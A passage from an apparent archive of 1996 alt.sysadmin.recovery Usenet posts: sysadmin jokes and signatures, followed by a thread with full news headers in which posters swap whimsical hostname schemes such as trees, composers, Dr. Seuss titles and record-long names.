larting Perfect Participle larted / having been larted Future Participle about to lart %% ObASR: one of the accounting guys is leaving today, and as is the tradition around here, sent a farewell email to everyone, the contents of which were a Letterman-style top-10 list. TOP TEN WAYS TO STAY SANE @ HERRING/NEWMAN 4. Be nice to [SeniorAdminGuy]...very nice. %% vi is the Old Testament. Emacs is the Gnu Testament. -- ^_u | High Unix Priest. Gaijin On-Line. Waku*waku web =^_^= U \ Beh! | [half-male, half-email] and partly HTML too! "If operating systems are weapons, Solaris is a world-war-two German railway gun with a cracked breech block" - Charlie Stross +-- Bill Bradford - mrbill@ionet.net ----------------+ | "Being a sysadmin is like hitting yourself in | | the head with a brick. Eventually it doesen't | | hurt too bad and you actually look forward to it, | | because the more it happens, the less it hurts." | +---ioNET UNIX & IRC Systems Administration----------+ -- electel the exhausted of alt.sysadmin.recovery./apk.general (electel@junior.wariat.org) [http://junior.wariat.org/~electel/] "damnit, i told you to type my name all lowercase! *LARTLARTLART*" irc == Kemorlytas / electel / treind (DALnet/Undernet/LISC) - its da new and improved crappy 5 line sig that sucks a lot! - %% > In a fit of apathy, Ian Dobbie wrote: > >I'll start: > > > >My names Ian and I have a porblem. I'm a ... I'm a ... > >(embaressed laugh) a ... a ... sysadmin. > > > >There you go. See it isnt that difficult. > > The first you have to do in any 12-step program is to admit to yourself and to > others that you have a problem. > > "My name is Mark." > "Hi, Mark." > "My name is Mark, and I...I have...a problem." > "My name is Bastard." "Hi, Scott" "My name is Bastard , and I...I...I don't have a problem! It's you all you have a problem !" "Ummm, Scott, that's a metal chair, not keyboard, Why don't you just admit you have a problem coping with anything that's not a computer and join us on the road to recovery." "Don't talk to me or I'll kill -9 you! I'll uncompile you all!" > >Ian (God I need a drink now!) > > -- > Mark (God, I could sure use a Linux network problem right now.) > mstaple@insync.net Scott (Simon Travaglia, I sure could use a life now!) bohf@flash.net %% >"We, the untrained, are being underpaid for doing the impossible with >the obsolete ahead of schedule." > From a sign I saw in the library at my high school, lo these many years ago: We the willing, led by the unknowing, are doing the impossible for the ungrateful. We have done so much for so long with little, we are now qualified to do anything with nothing at all. -spc (Now, if you change it to "We the underpaid ...") (10) System administration is alot like sex: the first time you do it, you realise all the wasted opportunities. Be careful not to catch anything, and remember that the final reward is a living entity that you have helped to create. But most of all, HAVE FUN DOING IT!!! -- hillary gorman......................................hillary@netaxs.com For Net Access questions, write to: "believe me, it's ON THE LIST of things to do. now, where IS that list?" .------------------------=---------------------------------------------------. | ed@hal.iaehv.nl | My views and opinions represent those of *every* | | | student and employee of Eindhoven University, | | | and all people residing within 20 miles of campus.| `------------------------=---------------------------------------------------' -- Mark Carroll Coffee is good. BSD is good. Hendrix is good. %% HOSTNAMES %% Subject: hostnames Date: 10 Jun 1996 20:19:22 GMT Organization: The MathWorks, Inc., Natick, MA 01760 Lines: 12 Message-ID: <4pi00a$cmn@turing.mathworks.com> NNTP-Posting-Host: gamara.mathworks.com X-Newsreader: TIN [UNIX 1.3 950824BETA PLMC.960519] hostnames... how about noises as mach names, i.e. plop, erm, sproing, ack, boff, crunch, tinkle, swik, pphhhhtt. Then when a user tries to describe their problems, it'll go something like "while logged into erm,..." or "... getting bounced mail from sproing" or "...tinkle isn't responding..." or "...plop fell off the net..." and I'd definitely look forward to the first request on machine "pphhhhtt"... ok, ok, simple grins for simple minds... C. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:22 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!in2.uu.net!news.i-link.net!usenet From: dread@i-link.net (Don Read) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 9 Jun 1996 21:30:48 GMT Organization: yes! I must get organized ! Lines: 32 Message-ID: <4pffq8$10ne@news.i-link.net> References: <1996Jun3.132417@specialix.co.uk> <4ovpne$nte@nntp4.u.washington.edu> <4p9vpd$iub@hume.nmia.com> <4paa3l$u54@bamboo.verinet.com> NNTP-Posting-Host: austin-2-5.i-link.net Mime-Version: 1.0 Content-Type: Text/Plain; charset=US-ASCII X-Newsreader: WinVN 0.99.7 In article <4paa3l$u54@bamboo.verinet.com>, mike@bamboo.verinet.com says... >I've used planets from the Star Wars movies (no books): Alderaan, Tatooine, >Hoth, Dagobah, Dantooine... I thought it was mildly funny that right after >bringing Hoth up, the fan in the power supply went bad... > >At my current place of major employment, we use dances (I don't know why): >Tango, Rhumba (I know, no h), Samba, Charleston, etc. > >I've always wanted to use the names of the Great Old Ones though. Who >wouldn't love to see a network with names like these on it: Cthulhu, >Azathoth, Nyarlothotep, Shub-niggurath, etc. Whee! You must have some _deep_ disturbing hate for your lusers, I try to keep it simple. my hosts are named specie of trees (hey this is a lumber company) pine oak maple elm ash ... I use (somewhat) more complex names for the brouters & termservers braustin brrrock brantonio tsaustin1 tsaustin2 tsretail tsshipping ... if the name is too (!) long they won't attempt to telnet to it. -- Don Read (the Sparkless) dread@i-link.net Austin TX sysop@calcasieu.com ---- "Ya jus' mash that butt'n, righ' jere" --- From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:23 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.mathworks.com!zombie.ncsc.mil!linden.fortnet.org!news.verinet.com!news From: mike@bamboo.verinet.com (Mike Loseke) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 9 Jun 1996 15:59:31 -0000 Organization: Verinet Communications Lines: 32 Message-ID: <4pesd3$a4d@bamboo.verinet.com> References: <4p9vpd$iub@hume.nmia.com> <4paa3l$u54@bamboo.verinet.com> <4pffq8$10ne@news.i-link.net> NNTP-Posting-Host: bamboo.verinet.com In article <4pffq8$10ne@news.i-link.net>, Don Read wrote: >In article <4paa3l$u54@bamboo.verinet.com>, mike@bamboo.verinet.com says... >>I've used planets from the Star Wars movies (no books): Alderaan, Tatooine, >>Hoth, Dagobah, Dantooine... I thought it was mildly funny that right after >>bringing Hoth up, the fan in the power supply went bad... >> >>At my current place of major employment, we use dances (I don't know why): >>Tango, Rhumba (I know, no h), Samba, Charleston, etc. >> >>I've always wanted to use the names of the Great Old Ones though. Who >>wouldn't love to see a network with names like these on it: Cthulhu, >>Azathoth, Nyarlothotep, Shub-niggurath, etc. Whee! > >You must have some _deep_ disturbing hate for your lusers, good work> > >I try to keep it simple. my hosts are named specie of trees (hey this is a >lumber company) > >pine oak maple elm ash ... At my minor place of employment (I run the news server) the machines are all named after plants and plant type objects as well: bamboo, cactus, ivy, fern, willow... Kinda boring, but cool I guess. I'm trying to get the cactus cam going: a quickcam pointed at a cactus in the window with the bank clock in the background. Pretty exciting, huh! -- Mike Loseke | System Administrator | "What's another word for Thesaurus?" Verinet Communications | -- Steven Wright mike@verinet.com | From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:24 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!chi-news.cic.net!arclight.uoregon.edu!usenet.eel.ufl.edu!news.cais.net!newsfeed.internetmci.com!news.wwa.com!news.ucdavis.edu!anchovy.engr.ucdavis.edu!jlkinsel From: jlkinsel@anchovy.engr.ucdavis.edu (John Kinsella) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 9 Jun 1996 23:11:07 GMT Organization: College of Engineering - University of California - Davis Lines: 26 Message-ID: <4pflmb$a0p@mark.ucdavis.edu> References: <1996Jun3.132417@specialix.co.uk> <4ovpne$nte@nntp4.u.washington.edu> <4p9vpd$iub@hume.nmia.com> <4pcbln$dmn@zeus.tcp.co.uk> NNTP-Posting-Host: anchovy.engr.ucdavis.edu X-Newsreader: TIN [version 1.2 PL2] Markus Laker (laker@tcp.co.uk) wrote: | > How about fruits {apple, bananna, orange} as hostnames? | I've used composers: Bach, Brahms, Mahler. My boss complains that he has | trouble spelling them: 'not everyone is as operatically literate [sic] as | you.' The other day I pointed out that he should be grateful I didn't use | Rachmaninov, Shostakovich and Dohnanyi. Ya know, I used to have that problem with the names...admin at math before us was naming everything after state trees....'rlogin chrysolophis'[1] BUT[2] the newer releases of tcsh let you command line complete whatever the hell you want...so add something like complete rlogin 'p/1/$hostnames/' to your .cshrc, where $hostnames is a list of your local hosts, and you're set. :) 1: Or however it's spelled 2: The religious ones will hate me for this... John _____________________________________________________________________________ "don't you tell me how I feel" || John Kinsella -I do Not Want this (Nine Inch Nails) || University of California, Davis Finger account for pgp2.6.3i key. || jlkinsel@engr.ucdavis.edu http://math.ucdavis.edu/~johnk || jlkinsella@ucdavis.edu From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:25 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!chi-news.cic.net!newsfeed.internetmci.com!news.uoregon.edu!waikato!canterbury.ac.nz!not-for-mail From: misc1150@.canterbury.ac.nz (Craig Falconer) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 01:08:05 GMT Organization: University of Canterbury Lines: 28 Message-ID: <4pfshl$prb@cantuc.canterbury.ac.nz> References: <1996Jun3.132417@specialix.co.uk> NNTP-Posting-Host: cantua.canterbury.ac.nz ReplyTo: cf@papanui.school.nz X-Newsreader: TIN [UNIX 1.3 950427BETA PL0] C. J. Edsall (c.edsall@phys.canterbury.ac.nz) wrote: : > I've used composers: Bach, Brahms, Mahler. My boss complains that he has : > trouble spelling them: 'not everyone is as operatically literate [sic] as : > you.' The other day I pointed out that he should be grateful I didn't use : > Rachmaninov, Shostakovich and Dohnanyi. : Physicists. (We have no imagination). Galileo, Newton, Einstein, : Maxwell, Boltzman, Alpher, Bethe, Gamow. On of the grad students got to : name his X-term: Zamolodchikov. At work we plan to name machines with character names from shows. thus we have hamlet.papanui.school.nz [1] as the mail server, and sandy and danny as the two print servers. [2] Anyone for audrey and audrey-too [3] ? [1] Apparently by some English bloke... [2] Grease [3] Little Shop of Horrors -- -- Criggie the Wierd! "They called me mad, and I called them mad, and damn `'`'`'`'`'`'`'`'`' them, they outvoted me." - Nathaniel Lee on being consigned to a mental institution, circa 17th c. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:26 1996 Path: news.mindlink.net!van-bc!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!in2.uu.net!brighton.openmarket.com!decwrl!waikato!auckland.ac.nz!news From: Michael Mohr Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: Tue, 11 Jun 1996 11:17:27 +1200 Organization: Auckland Institute of Technology, NZ Lines: 13 Message-ID: <31BCAD07.6A9C@ait.ac.nz> References: <1996Jun3.132417@specialix.co.uk> <4pfshl$prb@cantuc.canterbury.ac.nz> NNTP-Posting-Host: nereus.ait.ac.nz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 2.0 (Win16; I) To: Craig Falconer Someone around here came up with the brilliant idea of using local park and district names. It was agreed that any names using _Mt_ at the beginning would be reduced to the last part of the name. We still can't decide which system will be called _Smart_. ================================================================ Mike Mohr, Database Administrator === Email: mmohr@ait.ac.nz Information Technology Group === Phone: 64 9 307-9999 x8133 Auckland Institute of Technology === Fax: 64 9 307-9901 PO Box 92006, Auckland, New Zealand = ================================================================ If we have unlimited ability to think, why use a computer? ================================================================ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:27 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!news.zeitgeist.net!cuccia From: cuccia@motherhouse.Talamasca.COM (Nick Cuccia) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 06:52:41 GMT Organization: The Talamasca. We watch. And we are always here. Lines: 20 Message-ID: <4pggnp$ge8@kadath.zeitgeist.net> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> NNTP-Posting-Host: talamasca.com In article <4pciv0$nol@news2.cais.com>, J.D. Falk wrote: >In the scary devil monastery, > Benjamin Hutchings wrote... >> Here we are more restrictive: Italian composers only. We have rossini, >> vivaldi, corelli and monteverdi. I don't know what will happen if we add >> more to the network (as if the college will buy us more!). > Switch to Italian meats. Seriously, how many people will know >that Monteverdi was a composer, and Mortadella or Proscutto weren't?[1] Probably obvious given my name, but me. Oh, YM "Prosciutto". HTH. --Nick "and make sure it's from Parma, will ya?" -- Nick Cuccia -- Brewer. Singer. Photographer. Geek. cuccia@talamasca.com http://www.talamasca.com/~cuccia/ And it's weigh hey, where the Red Queen reigns from her throne across the sea With the hot rum running in our veins, we will serve you steel for tea. From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:28 1996 Path: news.mindlink.net!uniserve!news.sol.net!spool.mu.edu!usenet.eel.ufl.edu!yama.mcc.ac.uk!news.salford.ac.uk!aber!not-for-mail From: gkb@aber.ac.uk (Gary Barnes) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 12:41:43 +0100 Organization: Scary Devil Monastery - Nor Fry A Web Slag Lines: 35 Message-ID: <4ph1ln$575@osfb.aber.ac.uk> References: <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> NNTP-Posting-Host: osfb.aber.ac.uk X-Disclaim: These are my views, not necessarily those of the Unit. So there. In article <4pciv0$nol@news2.cais.com>, J.D. Falk wrote: :In the scary devil monastery, : Benjamin Hutchings wrote... : :> In article <4pcbln$dmn@zeus.tcp.co.uk>, Markus Laker wrote: :> >lithium@cia-g.com (Stephen Fisher) wrote: :> > :> >> How about fruits {apple, bananna, orange} as hostnames? :> > :> >I've used composers: Bach, Brahms, Mahler. My boss complains that he has :> >trouble spelling them: 'not everyone is as operatically literate [sic] as :> >you.' The other day I pointed out that he should be grateful I didn't use :> >Rachmaninov, Shostakovich and Dohnanyi. :> :> Here we are more restrictive: Italian composers only. We have rossini, :> vivaldi, corelli and monteverdi. I don't know what will happen if we add :> more to the network (as if the college will buy us more!). : : Switch to Italian meats. Seriously, how many people will know :that Monteverdi was a composer, and Mortadella or Proscutto weren't?[1] Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far this year, we've seen some very innovative new entries, and surprisingly, some of the more popular mythological and planetary names have yet to make an appearance, but there's plenty of time yet for them to make a move yet, as this thread is just starting. So, sit back, and enjoy the fun as alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. Gaz -- /\./\ ( - - ) gkb@aber.ac.uk (Gary "Wolf" Barnes) \ " / ~~~ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:29 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!in1.uu.net!ns2.spectra.net!news From: dan@tree.spectra.net (D. S. Ritter) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 11 Jun 1996 10:12:33 GMT Organization: Spectra.Net (607) 798-7300 Lines: 35 Message-ID: <4pjgqh$kid@ns2.spectra.net> References: <1996Jun3.132417@specialix.co.uk> <4ovpne$nte@nntp4.u.washington.edu> <4p9vpd$iub@hume.nmia.com> <4pcbln$dmn@zeus.tcp.co.uk> <4pcg4i$moe@news.ox.ac.uk> <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> NNTP-Posting-Host: tree.spectra.net X-Newsreader: knews 0.9.3 In article <4ph1ln$575@osfb.aber.ac.uk>, gkb@aber.ac.uk (Gary Barnes) writes: > >Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far >this year, we've seen some very innovative new entries, and surprisingly, >some of the more popular mythological and planetary names have yet to make >an appearance, but there's plenty of time yet for them to make a move yet, >as this thread is just starting. So, sit back, and enjoy the fun as >alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. Over here on the American side of the Pageant, we'd like to introduce you to some of the less beautiful hostnames. We all know of the strange- but-true case of "pc1, pc2, pc3...", and who could forget last year's Most Boring Theme: Star Trek? No, not me either. Some of you have been asking questions, and some of them have even been relevant to the Pageant. One of those questions, selected at random from our Spin-A-Wheel: "Dear Pageant Masters: how do you choose your own machine names?" Well, it's really quite simple. On the American side, we just use whichever four letter word that comes to mind. For instance, tree. Rock. Blue. Park. Gold. Isn't that simple? On the British side, well, we'll just let Gaz explain Welsh to you. Gaz? -- dan@spectra.net - this posting is *not* an official Spectra.Net policy. D.S. Ritter 607 798 7300 "We did that, (well almost that), but it didn't work." - someone else From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:31 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!yama.mcc.ac.uk!news.salford.ac.uk!aber!not-for-mail From: gkb@aber.ac.uk (Gary Barnes) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 15:03:51 +0100 Organization: Scary Devil Monastery - Sworn Bleary Fag Lines: 49 Message-ID: <4pha07$mk4@osfb.aber.ac.uk> References: <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> NNTP-Posting-Host: osfb.aber.ac.uk X-Disclaim: These are my views, not necessarily those of the Unit. So there. X-Quote: "I doubt it." - Alun "Da Penguin" Jones - auj@aber.ac.uk In article <4pjgqh$kid@ns2.spectra.net>, D. S. Ritter wrote: :In article <4ph1ln$575@osfb.aber.ac.uk>, : gkb@aber.ac.uk (Gary Barnes) writes: :> :>Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far :>this year, we've seen some very innovative new entries, and surprisingly, :>some of the more popular mythological and planetary names have yet to make :>an appearance, but there's plenty of time yet for them to make a move yet, :>as this thread is just starting. So, sit back, and enjoy the fun as :>alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. : :Over here on the American side of the Pageant, we'd like to introduce :you to some of the less beautiful hostnames. We all know of the strange- :but-true case of "pc1, pc2, pc3...", and who could forget last year's :Most Boring Theme: Star Trek? No, not me either. : :Some of you have been asking questions, and some of them have even been :relevant to the Pageant. One of those questions, selected at random from :our Spin-A-Wheel: : : : :"Dear Pageant Masters: how do you choose your own machine names?" : :Well, it's really quite simple. On the American side, we just use whichever :four letter word that comes to mind. For instance, tree. Rock. Blue. Park. :Gold. Isn't that simple? : :On the British side, well, we'll just let Gaz explain Welsh to you. Gaz? Well, the Welsh team have a very strong entry this year, an entry that is even gaining popularity on the other side of the pond too. I of course refer to llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch, a name that is hard to beat in anyone's estimation, and which is considered quite safe from any competition from my-hostname-is-longer-than-yours.mit.edu (the only other serious contender gratuitouslylonghostname.apana.org.au now seems to have been withdrawn). And now back to Dan for more details of the entries in the "short and snappy" category where MIT again have quite a strong showing, and dam.mit.edu and vo.mit.edu look certain to be battling it out in the final. Gaz -- /\./\ ( - - ) gkb@aber.ac.uk (Gary "Wolf" Barnes) \ " / ~~~ From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:32 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.mathworks.com!uunet!in2.uu.net!ns2.spectra.net!news From: dan@tree.spectra.net (D. S. Ritter) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 11 Jun 1996 15:32:23 GMT Organization: Spectra.Net (607) 798-7300 Lines: 34 Message-ID: <4pk3i7$lnj@ns2.spectra.net> References: <1996Jun3.132417@specialix.co.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> NNTP-Posting-Host: tree.spectra.net X-Newsreader: knews 0.9.3 gkb@aber.ac.uk (Gary Barnes) writes: >D. S. Ritter wrote: >: >:On the British side, well, we'll just let Gaz explain Welsh to you. Gaz? > >Well, the Welsh team have a very strong entry this year, an entry that is >even gaining popularity on the other side of the pond too. I of course refer >to llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch, a name that >is hard to beat in anyone's estimation, and which is considered quite safe >from any competition from my-hostname-is-longer-than-yours.mit.edu (the only >other serious contender gratuitouslylonghostname.apana.org.au now seems to >have been withdrawn). > >And now back to Dan for more details of the entries in the "short and >snappy" category where MIT again have quite a strong showing, and >dam.mit.edu and vo.mit.edu look certain to be battling it out in the final. And it's certainly a contest, Gaz! But in the Silly Domain Name Competition, we've just seen dot.com pull up, with what should only be described as an army of silly entries! But wait! Yes, we have found atdot.com too! Also atcom.com and comdot.com! Just arriving is netdot.com, but frankly, Gaz, it just doesn't look so hot. My favorite underdog in this, the Hostname '96 Invitational, has got to be the *sucks.com grouping, including nynexsucks and microsoftsucks (no, wait, I just made this one up!). Over to you, Gaz. -- dan@spectra.net - this posting is *not* an official Spectra.Net policy. D.S. Ritter 607 798 7300 "We did that, (well almost that), but it didn't work." - someone else From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:33 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!newsreader.sprintlink.net!klingler From: klingler@crusader.sprint.net (David Klingler) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 20:41:45 GMT Organization: Mentiri Splendide Lines: 13 Sender: klingler@crusader.int.sprintlink.net (David Klingler) Message-ID: <4pi1a9$cr9@newsreader.sprintlink.net> References: <1996Jun3.132417@specialix.co.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pk3i7$lnj@ns2.spectra.net> Reply-To: /dev/null NNTP-Posting-Host: fire1.sprintlink.net Back when I used to care about hostnames[1] I had the systems in the lab named after earthbound critters (eagle, tiger, etc..), Xterminals named after moons, systems on the same floor as the lab after planets and systems on other floors named after stars unless they were real far away and then they were named after galaxies. Kind of a universal progression kind of thing. [1] I have now named so many hosts that I don't give a fsck what they are called. -- Saevis Tranquillus in Undis -David the Scarce From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:34 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!news.kei.com!newsfeed.internetmci.com!uwm.edu!news.cse.psu.edu!news.eecs.nwu.edu!bonomi From: bonomi@eecs.nwu.edu (Robert Bonomi) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 19:23:49 GMT Organization: EE/CS Department, Northwestern University, Evanston, IL. Lines: 47 Message-ID: <4phso5$rda@news.eecs.nwu.edu> References: <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> NNTP-Posting-Host: delta.eecs.nwu.edu In article <4pha07$mk4@osfb.aber.ac.uk>, Gary Barnes wrote: >In article <4pjgqh$kid@ns2.spectra.net>, >D. S. Ritter wrote: >:In article <4ph1ln$575@osfb.aber.ac.uk>, >: gkb@aber.ac.uk (Gary Barnes) writes: >:> >:>Hello, and welcome once again to the Annual Catchy Hostnames Pagaent. So far >:>this year, we've seen some very innovative new entries, and surprisingly, >:>some of the more popular mythological and planetary names have yet to make >:>an appearance, but there's plenty of time yet for them to make a move yet, >:>as this thread is just starting. So, sit back, and enjoy the fun as >:>alt.sysadmin.recovery brings you the very best coverage of Hostnames '96. >: >:Over here on the American side of the Pageant, we'd like to introduce >:you to some of the less beautiful hostnames. We all know of the strange- >:but-true case of "pc1, pc2, pc3...", and who could forget last year's >:Most Boring Theme: Star Trek? No, not me either. >: >:Some of you have been asking questions, and some of them have even been >:relevant to the Pageant. One of those questions, selected at random from >:our Spin-A-Wheel: >: >: >: >:"Dear Pageant Masters: how do you choose your own machine names?" >: >:Well, it's really quite simple. On the American side, we just use whichever >:four letter word that comes to mind. For instance, tree. Rock. Blue. Park. >:Gold. Isn't that simple? >: >:On the British side, well, we'll just let Gaz explain Welsh to you. Gaz? > >Well, the Welsh team have a very strong entry this year, an entry that is >even gaining popularity on the other side of the pond too. I of course refer >to llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch, a name that >is hard to beat in anyone's estimation, and which is considered quite safe >from any competition from my-hostname-is-longer-than-yours.mit.edu (the only >other serious contender gratuitouslylonghostname.apana.org.au now seems to >have been withdrawn). > >And now back to Dan for more details of the entries in the "short and >snappy" category where MIT again have quite a strong showing, and >dam.mit.edu and vo.mit.edu look certain to be battling it out in the final. *BUT*, there's some -serious- competition, from a couple of other machines, namely 'chickensh', and 'bullsh'. at the Illinois Institute of Technology. yes, it has the 'obvious' name in .edu From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:35 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.cais.net!mr.net!newshub.tc.umn.edu!lynx.unm.edu!bubba.NMSU.Edu!emf From: emf@scf.nmsu.edu (discursive melancholia) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 14 Jun 1996 00:23:01 GMT Organization: little tiny brain pan full of baked apricots, inc. Lines: 29 Message-ID: <4pqbd5$68n@bubba.NMSU.Edu> References: <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4phso5$rda@news.eecs.nwu.edu> NNTP-Posting-Host: freedom.nmsu.edu In article <4phso5$rda@news.eecs.nwu.edu> bonomi@eecs.nwu.edu (Robert Bonomi) writes: >>Well, the Welsh team have a very strong entry this year, an entry that is >>even gaining popularity on the other side of the pond too. I of course refer >>to llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch, a name that >>is hard to beat in anyone's estimation, and which is considered quite safe >>from any competition from my-hostname-is-longer-than-yours.mit.edu (the only >>other serious contender gratuitouslylonghostname.apana.org.au now seems to >>have been withdrawn). This one is my fault: Name: onefishtwofishredfishbluefish.NMSU.Edu Address: 128.123.13.110 (which of course, beats a friend of mine's entry of "wombatinfestation.unm.edu") that name actually broke the hidiously misconfigured bind at NMSU. they'd set it up to have a max of 25 chars. "uh. the spec says 31. fix named dammit." everyoen was perfectly accepting of my dr. seuss nameing scheme.. lorax, horton, grinch, but they started getting leery at onefish.... they never let me out-do it by a letter with the900hatsofbartholomewcubbins. bastards. -- Erik Fichtner (techs@scf.nmsu.edu) [http://scf.nmsu.edu/~emf/] "You can't depend on the goodly hearted, the goodly hearted make lampshades and soap" - Lou Reed From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:36 1996 Path: news.mindlink.net!uniserve!n2van.istar!van.istar!ott.istar!istar.net!winternet.com!nntp.primenet.com!news.mathworks.com!uunet!in1.uu.net!world!news.bu.edu!acs4.bu.edu!vampyr From: vampyr@bu.edu (Eamon Daly) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 20:50:18 GMT Organization: Boston University Lines: 27 Message-ID: <4pi1qa$4lf@news.bu.edu> References: <4pciv0$nol@news2.cais.com> <4ph1ln$575@osfb.aber.ac.uk> <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> NNTP-Posting-Host: acs4.bu.edu X-Newsreader: TIN [version 1.2 PL2] Gary Barnes (gkb@aber.ac.uk) wrote: : And now back to Dan for more details of the entries in the "short and : snappy" category where MIT again have quite a strong showing, and : dam.mit.edu and vo.mit.edu look certain to be battling it out in the final. Sorry to interrupt your update, Dan, but to the amazement of the Eastern Seaboard Conference, Boston University, in an entirely uncharacteristic move, has actually brought a note of humor to the mci.net routing table with their network of SGI Indy's: gestion.bu.edu gnant.bu.edu sposed.bu.edu sputable.bu.edu stinct.bu.edu vidual.bu.edu No word yet from the panel of judges who had previously disqualified the .bu.edu domain for its sloppy entry of well over 36 cartoon characters from mismatched studios, including pooh, gonzo, bugs, and pluto on the same subnet. Back to the satellite uplink. Dan? . . -- becca finds a toe she forgot From alan_bailward@Mindlink.bc.ca Sun Jun 16 18:16:37 1996 Path: news.mindlink.net!van-bc!van.istar!news-w.ans.net!newsfeeds.ans.net!news.icix.net!bofh.ece.ufl.edu!usenet.eel.ufl.edu!news.mathworks.com!nntp.primenet.com!news1.best.com!nntp1.best.com!shellx.best.com!not-for-mail From: durrell@shellx.best.com (Bryant Durrell) Newsgroups: alt.sysadmin.recovery Subject: Re: hostnames Date: 10 Jun 1996 15:59:57 -0700 Organization: Semiotic Marines, Altoid Squad Lines: 54 Message-ID: <4pi9dd$d3u@shellx.best.com> References: <4pjgqh$kid@ns2.spectra.net> <4pha07$mk4@osfb.aber.ac.uk> <4pi1qa$4lf@news.bu.edu> NNTP-Posting-Host: shellx.best.com In article <4pi1qa$4lf@news.bu.edu>, Eamon Daly wrote: >Gary Barnes (gkb@aber.ac.uk) wrote: >: And now back to Dan for more details of the entries in the "short and >: snappy" category where MIT again have quite a strong showing, and >: dam.mit.edu and vo.mit.edu look certain to be battling it out in the final. > >Sorry to interrupt your update, Dan, but to the >amazement of the Eastern Seaboard Conference, >Boston University, in an entirely uncharacteristic >move, has actually brought a note of humor to the >mci.net routing table with their network of SGI >Indy's: > > gestion.bu.edu gnant.bu.edu 